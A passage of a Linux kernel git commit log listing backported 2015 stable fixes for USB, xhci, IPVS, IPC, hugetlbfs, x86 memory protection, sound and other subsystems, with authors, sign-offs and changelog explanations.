NeilBrown Fixes: 9d09e663d550 ("dm: raid456 basic support") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac066396c263b144cddb38114e9784d991915f46 Author: James Hogan Date: Fri Mar 27 08:33:43 2015 +0000 MIPS: dma-default: Fix 32-bit fall back to GFP_DMA commit 53960059d56ecef67d4ddd546731623641a3d2d1 upstream. If there is a DMA zone (usually 24bit = 16MB I believe), but no DMA32 zone, as is the case for some 32-bit kernels, then massage_gfp_flags() will cause DMA memory allocated for devices with a 32..63-bit coherent_dma_mask to fall back to using __GFP_DMA, even though there may only be 32-bits of physical address available anyway. Correct that case to compare against a mask the size of phys_addr_t instead of always using a 64-bit mask. Signed-off-by: James Hogan Fixes: a2e715a86c6d ("MIPS: DMA: Fix computation of DMA flags from device's coherent_dma_mask.") Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9610/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23e73f06d14c6750440b573164d9ab1358fbb88f Author: Yao-Wen Mao Date: Mon Aug 31 14:24:09 2015 +0800 USB: Add reset-resume quirk for two Plantronics usb headphones. commit 8484bf2981b3d006426ac052a3642c9ce1d8d980 upstream. These two headphones need a reset-resume quirk to properly resume to original volume level. Signed-off-by: Yao-Wen Mao Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60ed40af24d73657bebd68bbe30d112506bc5440 Author: Vincent Palatin Date: Thu Oct 1 14:10:22 2015 -0700 usb: Add device quirk for Logitech PTZ cameras commit 72194739f54607bbf8cfded159627a2015381557 upstream. Add a device quirk for the Logitech PTZ Pro Camera and its sibling the ConferenceCam CC3000e Camera. This fixes the failed camera enumeration on some boot, particularly on machines with fast CPU. Tested by connecting a Logitech PTZ Pro Camera to a machine with a Haswell Core i7-4600U CPU @ 2.10GHz, and doing thousands of reboot cycles while recording the kernel logs and taking camera picture after each boot. Before the patch, more than 7% of the boots show some enumeration transfer failures and in a few of them, the kernel is giving up before actually enumerating the webcam. After the patch, the enumeration has been correct on every reboot. Signed-off-by: Vincent Palatin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbad7bbf830e9b004ee99a4b1a855f4dea14edfe Author: Mathias Nyman Date: Mon Sep 21 17:46:09 2015 +0300 usb: Use the USB_SS_MULT() macro to get the burst multiplier. commit ff30cbc8da425754e8ab96904db1d295bd034f27 upstream. Bits 1:0 of the bmAttributes are used for the burst multiplier. The rest of the bits used to be reserved (zero), but USB3.1 takes bit 7 into use. Use the existing USB_SS_MULT() macro instead to make sure the mult value and hence max packet calculations are correct for USB3.1 devices. Note that burst multiplier in bmAttributes is zero based and that the USB_SS_MULT() macro adds one. Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c7e0217c716484626a25a2f6f4fd12243abc421 Author: Jann Horn Date: Fri Sep 18 23:41:23 2015 +0200 security: fix typo in security_task_prctl commit b7f76ea2ef6739ee484a165ffbac98deb855d3d3 upstream. Signed-off-by: Jann Horn Reviewed-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0485219603e20707d55615378bd0ac77db194c18 Author: Mark Brown Date: Sat Sep 19 07:12:34 2015 -0700 regmap: debugfs: Don't bother actually printing when calculating max length commit 176fc2d5770a0990eebff903ba680d2edd32e718 upstream. The in kernel snprintf() will conveniently return the actual length of the printed string even if not given an output beffer at all so just do that rather than relying on the user to pass in a suitable buffer, ensuring that we don't need to worry if the buffer was truncated due to the size of the buffer passed in. Reported-by: Rasmus Villemoes Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35ea0cddd4b535b2fd2dc34a6c1d37c17571d03d Author: Mark Brown Date: Sat Sep 19 07:00:18 2015 -0700 regmap: debugfs: Ensure we don't underflow when printing access masks commit b763ec17ac762470eec5be8ebcc43e4f8b2c2b82 upstream. If a read is attempted which is smaller than the line length then we may underflow the subtraction we're doing with the unsigned size_t type so move some of the calculation to be additions on the right hand side instead in order to avoid this. Reported-by: Rasmus Villemoes Signed-off-by: Mark Brown Cc: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d18ca36efc245a447a77c6d2dfc0c791626f6bfb Author: Jan Kara Date: Wed Jan 7 13:49:08 2015 +0100 udf: Check length of extended attributes and allocation descriptors commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream. Check length of extended attributes and allocation descriptors when loading inodes from disk. Otherwise corrupted filesystems could confuse the code and make the kernel oops. Reported-by: Carl Henrik Lunde Cc: stable@vger.kernel.org Signed-off-by: Jan Kara Signed-off-by: Jiri Slaby [Jan and Jiri fixed it in 3.12 stable, i ported it to 3.10 stable, replaced bs by inode->i_sb->s_blocksize] Signed-off-by: Zhang Zhen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46f7f153b7f6b53fe9fa35c9552b32a96fac4a43 Author: Julian Anastasov Date: Wed Jul 8 08:31:33 2015 +0300 ipvs: fix crash with sync protocol v0 and FTP commit 56184858d1fc95c46723436b455cb7261cd8be6f upstream. Fix crash in 3.5+ if FTP is used after switching sync_version to 0. Fixes: 749c42b620a9 ("ipvs: reduce sync rate with time thresholds") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad1e1e25b035519fe4326965ea1afcf10799a0e2 Author: Julian Anastasov Date: Sat Jun 27 14:39:30 2015 +0300 ipvs: do not use random local source address for tunnels commit 4754957f04f5f368792a0eb7dab0ae89fb93dcfd upstream. Michael Vallaly reports about wrong source address used in rare cases for tunneled traffic. Looks like __ip_vs_get_out_rt in 3.10+ is providing uninitialized dest_dst->dst_saddr.ip because ip_vs_dest_dst_alloc uses kmalloc. While we retry after seeing EINVAL from routing for data that does not look like valid local address, it still succeeded when this memory was previously used from other dests and with different local addresses. As result, we can use valid local address that is not suitable for our real server. Fix it by providing 0.0.0.0 every time our cache is refreshed. By this way we will get preferred source address from routing. Reported-by: Michael Vallaly Fixes: 026ace060dfe ("ipvs: optimize dst usage for real server") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d26a303294dcad1b8057643073830c84eefcc4a1 Author: Linus Torvalds Date: Wed Sep 30 12:48:40 2015 -0400 Initialize msg/shm IPC objects before doing ipc_addid() commit b9a532277938798b53178d5a66af6e2915cb27cf upstream. As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov Cc: Manfred Spraul Cc: Davidlohr Bueso Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca1783c4d9a3abf39b2be34f046587a9542729e9 Author: Reyad Attiyat Date: Thu Aug 6 19:23:58 2015 +0300 usb: xhci: Add support for URB_ZERO_PACKET to bulk/sg transfers commit 4758dcd19a7d9ba9610b38fecb93f65f56f86346 upstream. This commit checks for the URB_ZERO_PACKET flag and creates an extra zero-length td if the urb transfer length is a multiple of the endpoint's max packet length. Signed-off-by: Reyad Attiyat Signed-off-by: Mathias Nyman Cc: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba668aae08831808fd8d26e9d7d45fb0551b373f Author: Pranav Vashi Date: Wed Sep 28 02:08:29 2016 +0530 Revert "usb: xhci: Add support for zero length packet" This reverts commit fca6509b264d05d62aeeaa70718028b53ddf8836. Signed-off-by: Pranav Vashi commit 98d513bcad940fa01c22f01e2a591cfc5e692c8c Author: Mathias Nyman Date: Mon Sep 21 17:46:16 2015 +0300 xhci: change xhci 1.0 only restrictions to support xhci 1.1 commit dca7794539eff04b786fb6907186989e5eaaa9c2 upstream. Some changes between xhci 0.96 and xhci 1.0 specifications forced us to check the hci version in code, some of these checks were implemented as hci_version == 1.0, which will not work with new xhci 1.1 controllers. xhci 1.1 behaves similar to xhci 1.0 in these cases, so change these checks to hci_version >= 1.0 Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0b9ee35ea059a640691b766804897335580b193 Author: Roger Quadros Date: Mon Sep 21 17:46:13 2015 +0300 usb: xhci: Clear XHCI_STATE_DYING on start commit e5bfeab0ad515b4f6df39fe716603e9dc6d3dfd0 upstream. For whatever reason if XHCI died in the previous instant then it will never recover on the next xhci_start unless we clear the DYING flag. Signed-off-by: Roger Quadros Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2f189af78dab395b6720bfab0236a06b3e23104 Author: Johan Hovold Date: Wed Sep 23 11:41:42 2015 -0700 USB: whiteheat: fix potential null-deref at probe commit cbb4be652d374f64661137756b8f357a1827d6a4 upstream. Fix potential null-pointer dereference at probe by making sure that the required endpoints are present. The whiteheat driver assumes there are at least five pairs of bulk endpoints, of which the final pair is used for the "command port". An attempt to bind to an interface with fewer bulk endpoints would currently lead to an oops. Fixes CVE-2015-5257. Reported-by: Moein Ghasemzadeh Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ab4a4074fecf2b79ad22459725992f89dba91f Author: Daniel Vetter Date: Tue Jun 23 11:34:21 2015 +0200 drm: Reject DRI1 hw lock ioctl functions for kms drivers commit da168d81b44898404d281d5dbe70154ab5f117c1 upstream. I've done some extensive history digging across libdrm, mesa and xf86-video-{intel,nouveau,ati}. The only potential user of this with kms drivers I could find was ttmtest, which once used drmGetLock still. But that mistake was quickly fixed up. Even the intel xvmc library (which otherwise was really good with using dri1 stuff in kms mode) managed to never take the hw lock for dri2 (and hence kms). Hence it should be save to unconditionally disallow this. Cc: Peter Antoine Reviewed-by: Peter Antoine Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit faaf497b08c78d13fe1ad5266fcfa5db123942b1 Author: Steve French Date: Tue Sep 22 09:29:38 2015 -0500 disabling oplocks/leases via module parm enable_oplocks broken for SMB3 commit e0ddde9d44e37fbc21ce893553094ecf1a633ab5 upstream. leases (oplocks) were always requested for SMB2/SMB3 even when oplocks disabled in the cifs.ko module. Signed-off-by: Steve French Reviewed-by: Chandrika Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef2db5d603a54874fa6e6f42e7c3759cf13869e4 Author: Joe Stringer Date: Tue Jul 21 21:37:31 2015 -0700 netfilter: nf_conntrack: Support expectations in different zones commit 4b31814d20cbe5cd4ccf18089751e77a04afe4f2 upstream. When zones were originally introduced, the expectation functions were all extended to perform lookup using the zone. However, insertion was not modified to check the zone. This means that two expectations which are intended to apply for different connections that have the same tuple but exist in different zones cannot both be tracked. Fixes: 5d0aa2ccd4 (netfilter: nf_conntrack: add support for "conntrack zones") Signed-off-by: Joe Stringer Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0fa7df4d6bfd9f59fff7f057b182192190bb27b Author: Mikulas Patocka Date: Fri Oct 2 11:17:37 2015 -0400 dm raid: fix round up of default region size commit 042745ee53a0a7c1f5aff191a4a24213c6dcfb52 upstream. Commit 3a0f9aaee028 ("dm raid: round region_size to power of two") intended to make sure that the default region size is a power of two. However, the logic in that commit is incorrect and sets the variable region_size to 0 or 1, depending on whether min_region_size is a power of two. Fix this logic, using roundup_pow_of_two(), so that region_size is properly rounded up to the next power of two. Signed-off-by: Mikulas Patocka Fixes: 3a0f9aaee028 ("dm raid: round region_size to power of two") Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87b03fd12158645bb9f2575959840086da64fbdd Author: Liu.Zhao Date: Mon Aug 24 08:36:12 2015 -0700 USB: option: add ZTE PIDs commit 19ab6bc5674a30fdb6a2436b068d19a3c17dc73e upstream. This is intended to add ZTE device PIDs on kernel. Signed-off-by: Liu.Zhao [johan: sort the new entries ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82d1c56e1d3257efe09f1e08bbdf998cac81fee0 Author: Joe Thornber Date: Wed Aug 12 15:12:09 2015 +0100 dm btree: add ref counting ops for the leaves of top level btrees commit b0dc3c8bc157c60b1d470163882be8c13e1950af upstream. When using nested btrees, the top leaves of the top levels contain block addresses for the root of the next tree down. If we shadow a shared leaf node the leaf values (sub tree roots) should be incremented accordingly. This is only an issue if there is metadata sharing in the top levels. Which only occurs if metadata snapshots are being used (as is possible with dm-thinp). And could result in a block from the thinp metadata snap being reused early, thus corrupting the thinp metadata snap. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9052adc5e4deb6255a0d170b7a8e4c0f8604b07a Author: Ian Abbott Date: Tue Aug 11 13:05:10 2015 +0100 staging: comedi: adl_pci7x3x: fix digital output on PCI-7230 commit ad83dbd974feb2e2a8cc071a1d28782bd4d2c70e upstream. The "adl_pci7x3x" driver replaced the "adl_pci7230" and "adl_pci7432" drivers in commits 8f567c373c4b ("staging: comedi: new adl_pci7x3x driver") and 657f77d173d3 ("staging: comedi: remove adl_pci7230 and adl_pci7432 drivers"). Although the new driver code agrees with the user manuals for the respective boards, digital outputs stopped working on the PCI-7230. This has 16 digital output channels and the previous adl_pci7230 driver shifted the 16 bit output state left by 16 bits before writing to the hardware register. The new adl_pci7x3x driver doesn't do that. Fix it in `adl_pci7x3x_do_insn_bits()` by checking for the special case of the subdevice having only 16 channels and duplicating the 16 bit output state into both halves of the 32-bit register. That should work both for what the board actually does and for what the user manual says it should do. Fixes: 8f567c373c4b ("staging: comedi: new adl_pci7x3x driver") Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41c7f1d0d231bac114c784d6ae80a8043ef37f95 Author: Jeff Mahoney Date: Fri Sep 11 21:44:17 2015 -0400 btrfs: skip waiting on ordered range for special files commit a30e577c96f59b1e1678ea5462432b09bf7d5cbc upstream. In btrfs_evict_inode, we properly truncate the page cache for evicted inodes but then we call btrfs_wait_ordered_range for every inode as well. It's the right thing to do for regular files but results in incorrect behavior for device inodes for block devices. filemap_fdatawrite_range gets called with inode->i_mapping which gets resolved to the block device inode before getting passed to wbc_attach_fdatawrite_inode and ultimately to inode_to_bdi. What happens next depends on whether there's an open file handle associated with the inode. If there is, we write to the block device, which is unexpected behavior. If there isn't, we through normally and inode->i_data is used. We can also end up racing against open/close which can result in crashes when i_mapping points to a block device inode that has been closed. Since there can't be any page cache associated with special file inodes, it's safe to skip the btrfs_wait_ordered_range call entirely and avoid the problem. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=100911 Tested-by: Christoph Biedl Signed-off-by: Jeff Mahoney Reviewed-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1f0fea09d7c704136356d08453af2f155c6262a Author: Yitian Bu Date: Fri Oct 2 15:18:41 2015 +0800 ASoC: dwc: correct irq clear method commit 4873867e5f2bd90faad861dd94865099fc3140f3 upstream. from Designware I2S datasheet, tx/rx XRUN irq is cleared by reading register TOR/ROR, rather than by writing into them. Signed-off-by: Yitian Bu Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34bcac1266f060a52f0b5e9fedfecab5d4bd1b0 Author: Robert Jarzmik Date: Tue Sep 15 20:51:31 2015 +0200 ASoC: fix broken pxa SoC support commit 3c8f7710c1c44fb650bc29b6ef78ed8b60cfaa28 upstream. The previous fix of pxa library support, which was introduced to fix the library dependency, broke the previous SoC behavior, where a machine code binding pxa2xx-ac97 with a coded relied on : - sound/soc/pxa/pxa2xx-ac97.c - sound/soc/codecs/XXX.c For example, the mioa701_wm9713.c machine code is currently broken. The "select ARM" statement wrongly selects the soc/arm/pxa2xx-ac97 for compilation, as per an unfortunate fate SND_PXA2XX_AC97 is both declared in sound/arm/Kconfig and sound/soc/pxa/Kconfig. Fix this by ensuring that SND_PXA2XX_SOC correctly triggers the correct pxa2xx-ac97 compilation. Fixes: 846172dfe33c ("ASoC: fix SND_PXA2XX_LIB Kconfig warning") Signed-off-by: Robert Jarzmik Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e2eec764eecabc418c5bdb0c6a3caaadfeb7199 Author: Takashi Iwai Date: Mon Oct 5 16:55:09 2015 +0200 ALSA: synth: Fix conflicting OSS device registration on AWE32 commit 225db5762dc1a35b26850477ffa06e5cd0097243 upstream. When OSS emulation is loaded on ISA SB AWE32 chip, we get now kernel warnings like: WARNING: CPU: 0 PID: 2791 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x51/0x80() sysfs: cannot create duplicate filename '/devices/isa/sbawe.0/sound/card0/seq-oss-0-0' It's because both emux synth and opl3 drivers try to register their OSS device object with the same static index number 0. This hasn't been a big problem until the recent rewrite of device management code (that exposes sysfs at the same time), but it's been an obvious bug. This patch works around it just by using a different index number of emux synth object. There can be a more elegant way to fix, but it's enough for now, as this code won't be touched so often, in anyway. Reported-and-tested-by: Michael Shell Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2260522744df1ad42cf5a108839f879ddf8a848 Author: Mel Gorman Date: Thu Oct 1 15:36:57 2015 -0700 mm: hugetlbfs: skip shared VMAs when unmapping private pages to satisfy a fault commit 2f84a8990ebbe235c59716896e017c6b2ca1200f upstream. SunDong reported the following on https://bugzilla.kernel.org/show_bug.cgi?id=103841 I think I find a linux bug, I have the test cases is constructed. I can stable recurring problems in fedora22(4.0.4) kernel version, arch for x86_64. I construct transparent huge page, when the parent and child process with MAP_SHARE, MAP_PRIVATE way to access the same huge page area, it has the opportunity to lead to huge page copy on write failure, and then it will munmap the child corresponding mmap area, but then the child mmap area with VM_MAYSHARE attributes, child process munmap this area can trigger VM_BUG_ON in set_vma_resv_flags functions (vma - > vm_flags & VM_MAYSHARE). There were a number of problems with the report (e.g. it's hugetlbfs that triggers this, not transparent huge pages) but it was fundamentally correct in that a VM_BUG_ON in set_vma_resv_flags() can be triggered that looks like this vma ffff8804651fd0d0 start 00007fc474e00000 end 00007fc475e00000 next ffff8804651fd018 prev ffff8804651fd188 mm ffff88046b1b1800 prot 8000000000000027 anon_vma (null) vm_ops ffffffff8182a7a0 pgoff 0 file ffff88106bdb9800 private_data (null) flags: 0x84400fb(read|write|shared|mayread|maywrite|mayexec|mayshare|dontexpand|hugetlb) ------------ kernel BUG at mm/hugetlb.c:462! SMP Modules linked in: xt_pkttype xt_LOG xt_limit [..] CPU: 38 PID: 26839 Comm: map Not tainted 4.0.4-default #1 Hardware name: Dell Inc. PowerEdge R810/0TT6JF, BIOS 2.7.4 04/26/2012 set_vma_resv_flags+0x2d/0x30 The VM_BUG_ON is correct because private and shared mappings have different reservation accounting but the warning clearly shows that the VMA is shared. When a private COW fails to allocate a new page then only the process that created the VMA gets the page -- all the children unmap the page. If the children access that data in the future then they get killed. The problem is that the same file is mapped shared and private. During the COW, the allocation fails, the VMAs are traversed to unmap the other private pages but a shared VMA is found and the bug is triggered. This patch identifies such VMAs and skips them. Signed-off-by: Mel Gorman Reported-by: SunDong Reviewed-by: Michal Hocko Cc: Andrea Arcangeli Cc: Hugh Dickins Cc: Naoya Horiguchi Cc: David Rientjes Reviewed-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8db2da627910ac6df7ff3058b5f274998746c3fa Author: Tan, Jui Nee Date: Tue Sep 1 10:22:51 2015 +0800 spi: spi-pxa2xx: Check status register to determine if SSSR_TINT is disabled commit 02bc933ebb59208f42c2e6305b2c17fd306f695d upstream. On Intel Baytrail, there is case when interrupt handler get called, no SPI message is captured. The RX FIFO is indeed empty when RX timeout pending interrupt (SSSR_TINT) happens. Use the BIOS version where both HSUART and SPI are on the same IRQ. Both drivers are using IRQF_SHARED when calling the request_irq function. When running two separate and independent SPI and HSUART application that generate data traffic on both components, user will see messages like below on the console: pxa2xx-spi pxa2xx-spi.0: bad message state in interrupt handler This commit will fix this by first checking Receiver Time-out Interrupt, if it is disabled, ignore the request and return without servicing. Signed-off-by: Tan, Jui Nee Acked-by: Jarkko Nikula Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 492ac400f47dcb29b9666ee4c22b3a3dc60adbfe Author: Guenter Roeck Date: Sun Sep 6 01:46:54 2015 +0300 spi: Fix documentation of spi_alloc_master() commit a394d635193b641f2c86ead5ada5b115d57c51f8 upstream. Actually, spi_master_put() after spi_alloc_master() must _not_ be followed by kfree(). The memory is already freed with the call to spi_master_put() through spi_master_class, which registers a release function. Calling both spi_master_put() and kfree() results in often nasty (and delayed) crashes elsewhere in the kernel, often in the networking stack. This reverts commit eb4af0f5349235df2e4a5057a72fc8962d00308a. Link to patch and concerns: https://lkml.org/lkml/2012/9/3/269 or http://lkml.iu.edu/hypermail/linux/kernel/1209.0/00790.html Alexey Klimov: This revert becomes valid after 94c69f765f1b4a658d96905ec59928e3e3e07e6a when spi-imx.c has been fixed and there is no need to call kfree() so comment for spi_alloc_master() should be fixed. Signed-off-by: Guenter Roeck Signed-off-by: Alexey Klimov Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e8c80153e8c3f64d667c4b6e21805f67debbc54 Author: Vitaly Kuznetsov Date: Fri Sep 25 11:59:52 2015 +0200 x86/xen: Support kexec/kdump in HVM guests by doing a soft reset commit 0b34a166f291d255755be46e43ed5497cdd194f2 upstream. Currently there is a number of issues preventing PVHVM Xen guests from doing successful kexec/kdump: - Bound event channels. - Registered vcpu_info. - PIRQ/emuirq mappings. - shared_info frame after XENMAPSPACE_shared_info operation. - Active grant mappings. Basically, newly booted kernel stumbles upon already set up Xen interfaces and there is no way to reestablish them. In Xen-4.7 a new feature called 'soft reset' is coming. A guest performing kexec/kdump operation is supposed to call SCHEDOP_shutdown hypercall with SHUTDOWN_soft_reset reason before jumping to new kernel. Hypervisor (with some help from toolstack) will do full domain cleanup (but keeping its memory and vCPU contexts intact) returning the guest to the state it had when it was first booted and thus allowing it to start over. Doing SHUTDOWN_soft_reset on Xen hypervisors which don't support it is probably OK as by default all unknown shutdown reasons cause domain destroy with a message in toolstack log: 'Unknown shutdown reason code 5. Destroying domain.' which gives a clue to what the problem is and eliminates false expectations. Signed-off-by: Vitaly Kuznetsov Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e247f327beec7a0c2b985c06d950386d478d60d6 Author: Stephen Smalley Date: Thu Oct 1 09:04:22 2015 -0400 x86/mm: Set NX on gap between __ex_table and rodata commit ab76f7b4ab2397ffdd2f1eb07c55697d19991d10 upstream. Unused space between the end of __ex_table and the start of rodata can be left W+x in the kernel page tables. Extend the setting of the NX bit to cover this gap by starting from text_end rather than rodata_start. Before: ---[ High Kernel Mapping ]--- 0xffffffff80000000-0xffffffff81000000 16M pmd 0xffffffff81000000-0xffffffff81600000 6M ro PSE GLB x pmd 0xffffffff81600000-0xffffffff81754000 1360K ro GLB x pte 0xffffffff81754000-0xffffffff81800000 688K RW GLB x pte 0xffffffff81800000-0xffffffff81a00000 2M ro PSE GLB NX pmd 0xffffffff81a00000-0xffffffff81b3b000 1260K ro GLB NX pte 0xffffffff81b3b000-0xffffffff82000000 4884K RW GLB NX pte 0xffffffff82000000-0xffffffff82200000 2M RW PSE GLB NX pmd 0xffffffff82200000-0xffffffffa0000000 478M pmd After: ---[ High Kernel Mapping ]--- 0xffffffff80000000-0xffffffff81000000 16M pmd 0xffffffff81000000-0xffffffff81600000 6M ro PSE GLB x pmd 0xffffffff81600000-0xffffffff81754000 1360K ro GLB x pte 0xffffffff81754000-0xffffffff81800000 688K RW GLB NX pte 0xffffffff81800000-0xffffffff81a00000 2M ro PSE GLB NX pmd 0xffffffff81a00000-0xffffffff81b3b000 1260K ro GLB NX pte 0xffffffff81b3b000-0xffffffff82000000 4884K RW GLB NX pte 0xffffffff82000000-0xffffffff82200000 2M RW PSE GLB NX pmd 0xffffffff82200000-0xffffffffa0000000 478M pmd Signed-off-by: Stephen Smalley Acked-by: Kees Cook Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/1443704662-3138-1-git-send-email-sds@tycho.nsa.gov Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96a4d6dbbf0c387dbe9a84fb10cad4180a64b7bb Author: Dirk Müller Date: Thu Oct 1 13:43:42 2015 +0200 Use WARN_ON_ONCE for missing X86_FEATURE_NRIPS commit d2922422c48df93f3edff7d872ee4f3191fefb08 upstream. The cpu feature flags are not ever going to change, so warning everytime can cause a lot of kernel log spam (in our case more than 10GB/hour). The warning seems to only occur when nested virtualization is enabled, so it's probably triggered by a KVM bug. This is a sensible and safe change anyway, and the KVM bug fix might not be suitable for stable releases anyway. Signed-off-by: Dirk Mueller Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ddf66e56d839ad288ba0f875983f498aa9f5688 Author: David Woodhouse Date: Wed Sep 16 14:10:03 2015 +0100 x86/platform: Fix Geode LX timekeeping in the generic x86 build commit 03da3ff1cfcd7774c8780d2547ba0d995f7dc03d upstream. In 2007, commit 07190a08eef36 ("Mark TSC on GeodeLX reliable") bypassed verification of the TSC on Geode LX. However, this code (now in the check_system_tsc_reliable() function in arch/x86/kernel/tsc.c) was only present if CONFIG_MGEODE_LX was set. OpenWRT has recently started building its generic Geode target for Geode GX, not LX, to include support for additional platforms. This broke the timekeeping on LX-based devices, because the TSC wasn't marked as reliable: https://dev.openwrt.org/ticket/20531 By adding a runtime check on is_geode_lx(), we can also include the fix if CONFIG_MGEODEGX1 or CONFIG_X86_GENERIC are set, thus fixing the problem. Signed-off-by: David Woodhouse Cc: Andres Salomon Cc: Linus Torvalds Cc: Marcelo Tosatti Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1442409003.131189.87.camel@infradead.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e8ff112447e791c554b09da6ec89355c2af99d1 Author: Shaohua Li Date: Thu Jul 30 16:24:43 2015 -0700 x86/apic: Serialize LVTT and TSC_DEADLINE writes commit 5d7c631d926b59aa16f3c56eaeb83f1036c81dc7 upstream. The APIC LVTT register is MMIO mapped but the TSC_DEADLINE register is an MSR. The write to the TSC_DEADLINE MSR is not serializing, so it's not guaranteed that the write to LVTT has reached the APIC before the TSC_DEADLINE MSR is written. In such a case the write to the MSR is ignored and as a consequence the local timer interrupt never fires. The SDM decribes this issue for xAPIC and x2APIC modes. The serialization methods recommended by the SDM differ. xAPIC: "1. Memory-mapped write to LVT Timer Register, setting bits 18:17 to 10b. 2. WRMSR to the IA32_TSC_DEADLINE MSR a value much larger than current time-stamp counter. 3. If RDMSR of the IA32_TSC_DEADLINE MSR returns zero, go to step 2. 4. WRMSR to the IA32_TSC_DEADLINE MSR the desired deadline." x2APIC: "To allow for efficient access to the APIC registers in x2APIC mode, the serializing semantics of WRMSR are relaxed when writing to the APIC registers. Thus, system software should not use 'WRMSR to APIC registers in x2APIC mode' as a serializing instruction. Read and write accesses to the APIC registers will occur in program order. A WRMSR to an APIC register may complete before all preceding stores are globally visible; software can prevent this by inserting a serializing instruction, an SFENCE, or an MFENCE before the WRMSR." The xAPIC method is to just wait for the memory mapped write to hit the LVTT by checking whether the MSR write has reached the hardware. There is no reason why a proper MFENCE after the memory mapped write would not do the same. Andi Kleen confirmed that MFENCE is sufficient for the xAPIC case as well. Issue MFENCE before writing to the TSC_DEADLINE MSR. This can be done unconditionally as all CPUs which have TSC_DEADLINE also have MFENCE support. [ tglx: Massaged the changelog ] Signed-off-by: Shaohua Li Reviewed-by: Ingo Molnar Cc: Cc: Cc: Cc: Andi Kleen Cc: H. Peter Anvin Link: http://lkml.kernel.org/r/20150909041352.GA2059853@devbig257.prn2.facebook.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5304850ba61770996c5416351c089bf7333afa1e Author: Paul Bolle Date: Fri Jul 31 14:08:58 2015 +0200 windfarm: decrement client count when unregistering commit fe2b592173ff0274e70dc44d1d28c19bb995aa7c upstream. wf_unregister_client() increments the client count when a client unregisters. That is obviously incorrect. Decrement that client count instead. Fixes: 75722d3992f5 ("[PATCH] ppc64: Thermal control for SMU based machines") Signed-off-by: Paul Bolle Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e245e2426b088083edfd97e5df9c86153b6b43bb Author: Ard Biesheuvel Date: Thu Sep 3 13:24:40 2015 +0100 ARM: 8429/1: disable GCC SRA optimization commit a077224fd35b2f7fbc93f14cf67074fc792fbac2 upstream. While working 